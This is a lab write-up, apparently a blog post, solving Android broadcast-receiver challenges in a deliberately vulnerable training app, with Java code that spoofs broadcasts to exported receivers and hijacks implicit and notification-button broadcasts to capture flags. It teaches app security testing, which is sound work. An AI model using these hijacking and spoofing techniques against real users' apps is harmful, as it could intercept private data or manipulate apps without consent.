Skip to main content
  1. Posts/

Android - Broadcast Receivers

·10 mins
mobile android
Table of Contents

What is a Broadcast Receiver?
#

Android applications can send and receive broadcast messages from both the operating system and other android applications. For example, the system automatically sends broadcasts when certain system events occur, like switching in and out of airplane mode - where each app who is subscribed to that event (through the process of registering a receiver) will receive those broadcasts.

A broadcast receiver can be registered either statically in the android manifest:

<receiver android:name=".MyBroadcastReceiver">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED"/>
    </intent-filter>
</receiver>

Or dynamically, registering it at runtime:

BroadcastReceiver myReceiver = new MyBroadcastReceiver(); IntentFilter filter = new IntentFilter("com.example.CUSTOM_ACTION"); registerReceiver(myReceiver, filter);

When you send a broadcast, any receivers who match the intent filter will execute the logic they have mapped to that receiver. We can practice interacting with a broadcast receiver with the intent attack surface app.

Flag 16 - Basic Exposed Receiver
#

We can examine the android manifest and find the receiver and it’s associated activity:

broadcast-1
broadcast-2

We can examine the receiver first:

broadcast-3

So this class receives an incoming context and intent and calls success if the flag extra in the intent contains give-flag-16. The activity that corresponds to this just validates the extra that is attached within the intent. We can write some simple code like this to complete the challenge:

@Override  
public void onClick(View v) {  
    Intent intent = new Intent();  
    intent.setClassName("io.hextree.attacksurface",
    "io.hextree.attacksurface.receivers.Flag16Receiver");  
    intent.putExtra("flag","give-flag-16");  
    sendBroadcast(intent);  
}

When sending this using our button we can see the flag as a Toast notification:

broadcast-4

System Event Broadcasts
#

I mentioned the airplane mode broadcast earlier, but this acts differently than broadcasts sent by applications. Regular applications are not able to send these kinds of broadcasts for obvious reasons. Examples of these system broadcasts are ones that notify apps for things like battery, whether or not the phone is locked, if headphones are plugged in and so on.

Intercepting and Redirecting Broadcasts
#

Lots of the threat surface and strategies we used for normal activities can also be applied to broadcast receivers. Imagine an activity that takes an intent as an input and sends it out as a broadcast after modifying it - in this case an attacker could be able to control that broadcast intent.

Intercepting broadcasts works pretty similarly to intercepting implicit intents:

  • The app sends an implicit intent
  • The malicious app declared in the manifest that it can handle that intent
  • The intent is controlled by the malicious app

In this case we just need to intercept an implicit sendBroadcast() call by registering a receiver in our malicious app.

Flag 18 - Hijack Broadcast Intent
#

We can begin by looking at the activity code:

broadcast-5

We see that this activity creates a new intent with the action io.hextree.broadcast.FREE_FLAG. Then the activity sends an ordered broadcast (which just means it sends one receiver at a time). This broadcast includes the intent, null to specify no permissions, and then we pass through the broadcast receiver. The receiver takes the string from the broadcast result and any additional data in the form of a bundle called resultExtras. The result code is also taken from the broadcast result and if that number is not zero, then success will be called and we can read the flag.

We can use this code to solve it:

registerReceiver(new BroadcastReceiver() {  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        String flag = intent.getStringExtra("flag");  
        Log.i(BroadcastReceiver.class.getName(), "Flag 18: " + flag);  
        setResult(42, "test", new Bundle());  
    }  
},new IntentFilter("io.hextree.broadcast.FREE_FLAG"), Context.RECEIVER_EXPORTED);

We register a broadcast receiver, and in android studio this will automatically create the onReceive() method. This takes the context in which the receiver is running and the intent being received as inputs. We then just need to create an intent to respond to the target application with which must include a result code, some result data, and extras in the form of an empty bundle. We configure this receiver to use the io.hextree.broadcast.FREE_FLAG intent filter and set the context to exported so that the app can reach out to this receiver.

Then all we need to do is run the app and kick off the Flag18Activity and we get the flag:

broadcast-6

Flag 17 - Receiver with Response
#

The activity itself doesn’t do much, so we can look at the receiver:

broadcast-7

So it looks like we need to send an ordered broadcast to this receiver with the extra flag set to give-flag-17 and it should execute the logic. If we want our application to return the flag in the logs we need to take a few extra steps because it outputs the flag as a part of a bundle - which is a mapping of string keys to certain values.

The logic for actually calling success() is just this:

Intent intent = new Intent();  
intent.setClassName("io.hextree.attacksurface",  
        "io.hextree.attacksurface.receivers.Flag17Receiver");  
intent.putExtra("flag","give-flag-17");  
sendOrderedBroadcast(intent, null, new BroadcastReceiver() {  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        ///SNIP///
        }  
},null, RESULT_OK, null,null);

But in order to actually get the flag in our application logs, we need to unpack and log aspects of the bundle where that flag is.

@Override  
public void onReceive(Context context, Intent intent) {  
    Bundle resultExtras = getResultExtras(true);  
    String resultData = getResultData();  
  
    if (resultExtras != null) {  
        for (String key : resultExtras.keySet()) {  
            Object value = resultExtras.get(key);  
            Log.i("ResultExtras", "Key: " + key + ", Value: " + value);  
        }  
    } else {  
        Log.i("ResultExtras", "No extras in the result.");  
    }  
    Log.i("Result", "Data: " + resultData);  
  
}

Now when we run our app and press the button, it properly sends a broadcast to the Flag17Receiver and we can see the flag in our logs:

broadcast-8

Home Screen App Widgets
#

Android can have widgets on the home screen, like the weather app or most other tracking type apps. These kinds of widgets are often implemented as broadcast receivers, because their function is to receive information from the app and display it, but that data might be going to other apps as well. A good example might be a widget for some fitness wearable - the app for the device might have its own unique widget but it might also broadcast that data to some other health metrics app that you have allowed it to sync with.

These widget interfaces basically act as a wrapper around the broadcast receiver to update the widget data in the background, but they can also perform button presses (think of a music player) where those presses act as a pending intent to the main application. Even though the widget is technically a part of the app it came from, when it is running on the home screen it needs to use broadcasts to communicate back to the app. Let’s look at an example:

Flag 19 - Widget System Intents
#

First we need to add the widget to our home screen:

broadcast-9

When we click on this we can see in LogCat that it is reaching out to Flag19Widget so we can now start looking at the code.

broadcast-10

So the widget shows the number of flags you have completed so far and manages this by using updateAppWidget and refreshIntent. The first method (not shown above) sets up the UI and configured the button itself, then it sends an intent (created by refreshIntent) to refresh the widget every so often. This refresh is just performing the android.appwidget.action.APPWIDGET_UPDATE action.

The onReceive method looks for intents matching that action and checks to see if they contain specific bundle extras like:

  • appWidgetMaxHeight set to 1094795585
  • appWidgetMinHeight set to 322376503

If those conditions are met then success is called and we will be able to see the flag. All we really need to do is make an intent that contains this bundle as an extra and send it to the widget:

public void onClick(View v) {  
    Intent intent = new Intent();  
    Bundle bundle = new Bundle();  
  
    bundle.putInt("appWidgetMaxHeight", 1094795585);  
    bundle.putInt("appWidgetMinHeight", 322376503);  
  
    intent.setAction("APPWIDGET_UPDATE");  
    intent.putExtra("appWidgetOptions",bundle);  
    intent.setClassName("io.hextree.attacksurface",  
            "io.hextree.attacksurface.receivers.Flag19Widget");  
  
    sendBroadcast(intent);  
}

When running it we see that it returns successfully:

broadcast-11

Then as soon as we look at the app we have our flag:

broadcast-12

The Notification System
#

You can create notifications with the Notification.Builder class. You provide a title, some text, and an icon. You can add actions to notifications which basically act as buttons that send pending intents. Think of the snooze button in an alarm app - the notification pops up on the screen and you can press a button that sends a pending intent to the application that adds a few minutes to the timer before it goes off again. These are typically handled as broadcasts instead of entire activities because it would be annoying to open an alarm app every time you wanted to snooze.

What kind of vulnerable behavior can we see?

Well if the broadcast receiver for the actions performed by that notification is exposed, we might be able to impersonate an actual button press. In our alarm clock example, this would be like my malicious app on your phone always hitting snooze on your alarms, how very malicious indeed.

Keep in mind that broadcast receivers can be locked behind permissions and there are multiple ways to prevent other apps from calling them.

We also need to keep in mind that the broadcast being sent out by the notification’s action could be implicit, meaning that we could route those button presses to our app. (I am not sure if this applies) but think about how messaging apps let you answer within the notification in some cases, if another app could hijack that send action they might be able to stop the message from being sent or worse - see the contents of that message if those keystrokes are sent as a piece of data in that implicit broadcast.

Let’s try it out!

Flag 20 - Notification Button Intents
#

When we press the button in the app it sends us a notification with a button:

broadcast-13

If we press the button we see LogCat spit out the following:

[Action]    io.hextree.broadcast.GET_FLAG
[Data]      null
[Component] null
[Flags]     ACTIVITY_NEW_TASK | RECEIVER_FOREGROUND

The code for Flag20Activity is fairly long so I won’t try to screenshot all of it, and most of it appears to be the implementation details itself. If we look at Flag20Receiver, we see the following:

broadcast-14

It looks like all we need to do is send a broadcast with the correct action and the give-flag extra and we should be all good.

public void onClick(View v) {  
    Intent intent = new Intent();  
    intent.setAction("io.hextree.broadcast.GET_FLAG");  
    intent.putExtra("give-flag", true);  
    sendBroadcast(intent);  
}

This works and we get the flag when opening the app to activity 20:

broadcast-15

Flag 21 - Hijack Notification Button
#

Similar start where we need to press the activity in the attack surface app to give ourselves the notification, then we can see it in our notifications list. This time we are hijacking the intent on its way to the app because the notification has an overly broad intent filter, so as long as our intent filter matches io.hextree.io.GIVE_FLAG, when we press the notification button it will send the flag to our app instead.

BroadcastReceiver receiver = new BroadcastReceiver() {  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        String flag = intent.getStringExtra("flag");  
        Log.i(BroadcastReceiver.class.getName(), "Flag 21: " + flag);  
    }  
};  
registerReceiver(receiver,new IntentFilter("io.hextree.broadcast.GIVE_FLAG"), Context.RECEIVER_EXPORTED);

Now when we press the notification button we the flag in our logs:

broadcast-16

Conclusion
#

So far we have talked about how you might be able to call exported broadcast receivers, hijack broadcasts that use implicit intents, return arbitrary data to broadcast receivers, and how we can apply the same logic when manipulating the behavior of widgets and notifications. While these issues on their own don’t seem to typically have high impact, it ultimately depends on what the broadcast receiver is doing and what that data being received is used for.

Related

Android - Content and File Providers
·22 mins
android mobile
What is a Content Provider? # A Content Provider presents data to external applications as one or more tables - where a row represents an instance of some type of data that the provider collects and a column in the row represents an individual piece of data collected for a given instance.
Android - Intent Attack Surface
·27 mins
android mobile
Preface # Similar to the last few android pentesting blog posts - this is heavily based off of the Hextree.
Android - Dynamic Instrumentation
·8 mins
android mobile
What is Dynamic Instrumentation? # The more straight forward approach of understanding these android applications is by decompiling them and examining the code - after all the apk is just an archive.